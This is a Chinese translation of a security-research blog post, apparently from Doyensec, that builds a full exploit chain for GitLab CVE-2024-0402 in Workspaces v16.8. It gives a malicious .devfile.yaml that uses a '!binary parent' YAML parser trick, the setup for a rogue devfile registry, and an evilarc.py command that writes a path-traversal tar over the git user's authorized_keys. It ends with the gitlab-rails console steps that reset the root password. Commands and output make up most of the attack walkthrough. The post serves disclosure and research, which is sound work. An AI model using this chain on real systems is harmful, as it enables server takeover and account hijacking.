深入解析GitLab CVE-2024-0402:YAML解析差异与路径遍历漏洞链利用

本文详细分析了GitLab CVE-2024-0402漏洞的利用过程,涉及YAML解析器差异、devfile父选项绕过、路径遍历实现任意文件写入,最终通过SSH密钥覆盖获得系统权限,并提供了完整的PoC构建指南。

!exploitable Episode Three - Devfile Adventures

引言

我知道我们已经多次提到,但以防您刚刚加入,Doyensec曾在地中海游轮上进行公司 retreat。为了在派对间隙消磨时间,我们进行了一些黑客会话,分析现实世界中的漏洞,从而产生了!exploitable博客系列。

在第一部分中,我们涵盖了IoT ARM利用的旅程,而第二部分则跟随我们尝试利用《黑客帝国:重装上阵》中Trinity使用的漏洞。

在这一集中,我们将深入探讨GitLab中CVE-2024-0402的利用。就像洋葱一样,这个漏洞表面之下总是有另一层,从YAML解析器差异到解压缩函数中的路径遍历,以实现GitLab中的任意文件写入。

没有公开的Proof of Concept发布,制作它变成了一次冒险,值得扩展原作者博客文章,添加PoC相关信息以完成循环 😊

一些背景

这个漏洞影响了GitLab Workspaces功能。简而言之,它让开发者能够即时启动集成开发环境(IDE),所有依赖、工具和配置都已就绪。

整个Workspaces功能依赖于几个组件,包括运行的Kubernetes GitLab Agent和devfile配置。

  • Kubernetes GitLab Agent: Kubernetes GitLab Agent连接GitLab到Kubernetes集群,允许用户启用部署过程自动化,并更容易集成GitLab CI/CD管道。它还允许创建Workspaces。
  • Devfile: 它是一个定义容器化开发环境的开放标准。让我们从它使用YAML文件配置开始,用于定义特定项目所需的工具、运行时和依赖。

示例devfile配置(放置在GitLab仓库中作为.devfile.yaml):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
apiVersion: 1.0.0
metadata:
  name: my-app
components:
  - name: runtime
    container:
      image: registry.access.redhat.com/ubi8/nodejs-14
      endpoints:
        - name: http
          targetPort: 3000

漏洞

让我们从公开可用的信息开始,并添加额外的代码上下文。

GitLab使用devfile Gem(当然是Ruby)调用外部devfile二进制文件(用Go编写),以在特定仓库中Workspace创建期间处理.devfile.yaml文件。

在Workspaces应用的devfile预处理例程中,一个特定的验证器validate_parent被GitLab中的PreFlattenDevfileValidator调用。

1
2
3
4
5
6
7
8
# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50
...
        def self.validate_parent(value)
          value => { devfile: Hash => devfile }
          return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
          Result.ok(value)
        end
...

但什么是parent选项?根据Devfile文档:

如果您指定一个父devfile,给定的devfile从其父继承所有行为。但您可以使用子devfile覆盖父devfile中的某些内容。

然后,它继续描述三种类型的父引用:

  1. 通过注册表引用的父 - 远程devfile注册表
  2. 通过URI引用的父 - 静态HTTP服务器
  3. 通过Kubernetes资源标识的父 - 可用命名空间

与任何其他远程获取功能一样,值得审查以查找漏洞。但乍一看,该选项似乎被validate_parent阻止。

YAML解析器差异的胜利

众所周知,即使是最常用的特定标准实现也可能与规范中定义的略有偏差。在这个特定情况下,需要Ruby和Go之间的YAML解析器差异。

作者为我们的差异笔记添加了一个新技巧。在YAML规范中:

  • 单感叹号!用于自定义或应用特定数据类型
    1
    
    my_custom_data: !MyType "some value"
    
  • 双感叹号!!用于内置YAML类型
    1
    
    bool_value: !!bool "true"
    

他发现本地YAML标签符号!(RFC参考)仍然在Ruby yaml库中激活二进制格式base64解码,而Go的gopkg.in/yaml.v3只是丢弃它,导致以下行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜ cat test3.yaml
normalk: just a value
!binary parent: got injected

### valid parent option added in the parsed version (!binary dropped)
➜ go run g.go test3.yaml
parent: got injected
normalk: just a value

### invalid parent option as Base64 decoded value (!binary evaluated)
➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'
{"normalk"=>"just a value", "\xA5\xAA\xDE\x9E"=>"got injected"}

因此,可以通过validate_parent函数向GitLab传递带有parent选项的devfile,并到达devfile二进制执行。

任意文件写入

此时,我们需要切换到在devfile二进制(Go实现)中发现的漏洞。

在查看依赖的依赖的依赖之后,猎人找到了解压缩函数。这从注册表的库中获取tar.gz存档,并在GitLab服务器内提取文件。然后,它应该将它们移动到部署的Workspace环境中。

以下是getResourcesFromRegistry使用的易受攻击的解压缩函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// decompress extracts the archive file
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
    var returnedErr error

    reader, err := os.Open(filepath.Clean(tarFile))
    ...
    gzReader, err := gzip.NewReader(reader)
    ...
    tarReader := tar.NewReader(gzReader)
    for {
        header, err := tarReader.Next()
        ...
        target := path.Join(targetDir, filepath.Clean(header.Name))
        switch header.Typeflag {
        ...
        case tar.TypeReg:
            /* #nosec G304 -- target is produced using path.Join which cleans the dir path */
            w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            /* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */
            _, err = io.Copy(w, tarReader)
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            err = w.Close()
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
        default:
            log.Printf("Unsupported type: %v", header.Typeflag)
        }
    }
    return nil
}

函数打开tarFile并使用tarReader.Next()迭代其内容。只有tar.TypeDirtar.TypeReg类型的内容被处理,防止符号链接和其他嵌套利用。

然而,行target := path.Join(targetDir, filepath.Clean(header.Name))容易受到路径遍历的影响,原因如下:

  • header.Name来自由devfile注册表服务的远程tar存档
  • filepath.Clean已知不防止相对路径上的路径遍历(../不被移除)

结果执行将类似于:

1
2
3
4
5
6
7
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // absolute path
fmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // relative path

//prints

/tmp/test
../../../../../../../tmp/test

有许多脚本可以创建利用这种目录遍历模式的有效PoC恶意存档(例如,evilarc.py)。

链接碎片

  • devfile lib中从远程注册表获取文件的解压缩问题允许包含恶意.tar存档的devfile注册表在devfile客户端系统内写入任意文件
  • 在GitLab中,开发者可以制作一个坏但有效的.devfile.yaml定义,包括parent选项,将强制GitLab服务器使用恶意注册表,从而在服务器本身上触发任意文件写入

利用此漏洞的要求是:

  • 访问目标GitLab作为能够向仓库提交代码的开发者
  • 在GitLab实例上正确配置Workspace功能(v16.8.0及以下)

让我们利用它!

配置环境

为了确保您有完整的画面,我必须告诉您在游轮上配置GitLab Workspaces是什么感觉,网速慢 😊 - 绝对噩梦!

当然,有关于如何做的文档,但今天您将获得一些额外发现:

  • 遵循GitLab 16.8文档页面,而不是最新的,因为它已经改变。不要像我们一样,在海上浪费欢乐时光。
  • 功能变化如此之大,他们甚至移除了GitLab 16.8所需的容器镜像。所以,您需要修补缺失的web-ide-injector容器镜像。
    1
    2
    3
    4
    5
    
    ubuntu@gitlabServer16.8:~$ find / -name "editor_component_injector.rb" 2>/dev/null
    /opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb
    
    Replace the value at line 129 of the web-ide-injector image with:
    registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest
    
  • GitLab Agent必须有remote_development选项以允许Workspaces。 这是它的有效config.yaml文件
    1
    2
    3
    4
    5
    6
    7
    
    remote_development:
      enabled: true
      dns_zone: "workspaces.gitlab.yourdomain.com"
    observability:
    logging:
      level: debug
      grpc_level: warn
    

愿力量与您同在,配置它。

时间制作

如前所述,这个漏洞链像洋葱一样分层。以下是2025年AI生成的经典图像为我们勾勒它:

公开可用信息留给我们以下任务,如果我们想利用它:

  • 部署自定义devfile注册表,结果很容易遵循原始仓库
  • 通过包含.tar文件使其恶意,打包我们的路径遍历以覆盖GitLab实例中的某些内容
  • 在目标GitLab仓库中添加指向它的.devfile.yaml

为了找出恶意.tar属于哪里,我们必须退后一步,阅读更多代码。 特别是,我们必须理解易受攻击的解压缩函数被调用的上下文。

我们最终阅读了PullStackByMediaTypesFromRegistry,一个用于从给定注册表URL拉取指定堆栈与允许媒体类型到某个目标目录的函数。 见library.go:293

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
func PullStackByMediaTypesFromRegistry(registry string, stack string, allowedMediaTypes []string, destDir string, options RegistryOptions) error {
	//...
	//Logic to Pull a stack from registry and save it to disk
	//...

	// Decompress archive.tar
	archivePath := filepath.Join(destDir, "archive.tar")
	if _, err := os.Stat(archivePath); err == nil {
		err := decompress(destDir, archivePath, ExcludedFiles)
		if err != nil {
			return err
		}
		err = os.RemoveAll(archivePath)
		if err != nil {
			return err
		}
	}
	return nil
}

代码模式突出显示devfile注册表堆栈涉及,并且它们在结构中包含一些archive.tar文件。 为什么devfile堆栈应该包含tar?

archive.tar文件可能包含在包中以分发入门项目或预配置应用模板。它帮助开发者快速设置他们的工作区与示例代码、配置和依赖。

在devfile注册表构建过程中的一些快速GitHub搜索显示,我们的目标.tar文件应放置在注册表项目下的stacks/<STACK_NAME>/<STACK_VERSION>/archive.tar,在与被部署特定版本的devfile.yaml相同的目录中。

因此,我们自定义注册表中路径遍历tar的目标是:

1
malicious-registry/stacks/nodejs/2.2.1/archive.tar

构建和运行恶意devfile注册表

构建我们的自定义注册表需要一些额外工作(无法使构建脚本工作,必须编辑它们),但我们最终成功将我们的archive.tar(例如,使用evilarc.py创建)放在正确的位置,并制作适当的index.json来服务它。最终可重用结构可以在我们的PoC仓库中找到,所以节省自己一些时间来构建devfile注册表镜像。

运行恶意注册表的命令:

1
docker run -d -p 5000:5000 --name local-registrypoc registry:2

以服务本地容器注册表,将被devfile注册表用于存储实际堆栈(见黄色高亮)

1
docker run --network host devfile-index

以运行用官方仓库构建的恶意devfile注册表。在我们的PoC仓库中找到它

扣动扳机 🔥

一旦您有一个运行中的注册表,目标GitLab实例可以访问,您只需以开发者身份在GitLab中认证,并编辑仓库的.devfile.yaml以通过利用之前显示的YAML解析器差异指向它。以下是您可以使用的示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"

要触发文件写入,只需在编辑的仓库中启动一个新的Workspace并等待。

很好!我们成功在/tmp/plsWorkItsPartyTime.txt中写入了Hello CVE-2024-0402!

现在去哪里…

我们得到了写入,但我们不能停在那里,所以我们调查了一些可靠的升级方式。

首先,我们使用GitLab服务器上的会话检查执行文件写入的系统用户。

1
2
/tmp$ ls -lah /tmp/plsWorkItsPartyTime.txt
-rw-rw-r-- 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt

显然,我们的首选用户是git,一个在GitLab内部相当重要的用户。

在检查可写文件以快速获胜后,我们发现它似乎被加固,没有大量可编辑的配置文件,如预期。

1
2
3
4
5
6
7
8
...
/var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml
/var/opt/gitlab/.gitconfig
/var/opt/gitlab/.ssh/authorized_keys
/opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql
/opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql
/var/opt/gitlab/git-data/repositories/.gitaly-metadata
...

一些有趣的文件等待被覆盖,但您可能注意到了最快但不光荣的入口:/var/opt/gitlab/.ssh/authorized_keys

值得注意的是,您可以将SSH密钥添加到您的GitLab账户,然后使用它以git身份SSH执行代码相关操作。authorized_keys文件由GitLab Shell管理,它从用户配置文件添加SSH密钥,并将它们强制到受限shell中以进一步管理/限制用户访问级别。

以下是当您在GitLab中添加配置文件SSH密钥时添加到authorized keys的示例行:

1
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3...[REDACTED]

由于我们获得了任意文件写入,我们可以直接用包含我们可以使用的非受限密钥的authorized_keys替换。回到我们的漏洞准备,为它创建一个新的.tar ad-hoc:

1
2
## write a valid entry in a local authorized_keys for one of your keys
➜ python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix

此时,替换您的恶意devfile注册表中的archive.tar,重建其镜像并运行它。当准备好时,通过在GitLab Web UI中创建新的Workspace再次触发漏洞。

几秒钟后,您应该能够以不受限的git用户SSH。

下面我们还展示如何更改GitLab Web root用户的密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
➜ ssh  -i ~/.ssh/gitlab2 git@gitinstance.local
➜ git@gitinstance.local:~$ gitlab-rails console --environment production
--------------------------------------------------------------------------------
 Ruby:         ruby 3.1.4p223 (2023-03-30 revision 957bb7cb81) [x86_64-linux]
 GitLab:       16.8.0-ee (1e912d57d5a) EE
 GitLab Shell: 14.32.0
 PostgreSQL:   14.9
------------------------------------------------------------[ booted in 39.28s ]

Loading production environment (Rails 7.0.8)
irb(main):002:0> user = User.find_by_username 'root'
=> #<User id:1 @root>
irb(main):003:0> new_password = 'ItIsPartyTime!'
=> "ItIsPartyTime!"
irb(main):004:0> user.password = new_password
=> "ItIsPartyTime!"
irb(main):005:0> user.password_confirmation = new_password
=> "ItIsPartyTime!"
irb(main):006:0> user.password_automatically_set = false
irb(main):007:0> user.save!
=> true

最后,您准备好在目标Web实例中以root用户身份认证。

结论

我们的目标是构建CVE-2024-0402的PoC。尽管时间和连接受限,我们能够做到。尽管如此,在准备GitLab Workspaces环境时出现了大量配置错误,我们几乎放弃,因为功能本身在数小时设置后就是不工作。再次证明,非常好的漏洞可以在只有少数人冒险的地方找到,因为配置时间限制。

向joernchen致敬,因为他发现了这个链。

不仅漏洞很棒,而且他在本文中描述了他遵循的研究路径,做了惊人的工作。我们享受利用它的乐趣,我们希望人们通过我们的公共漏洞节省

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计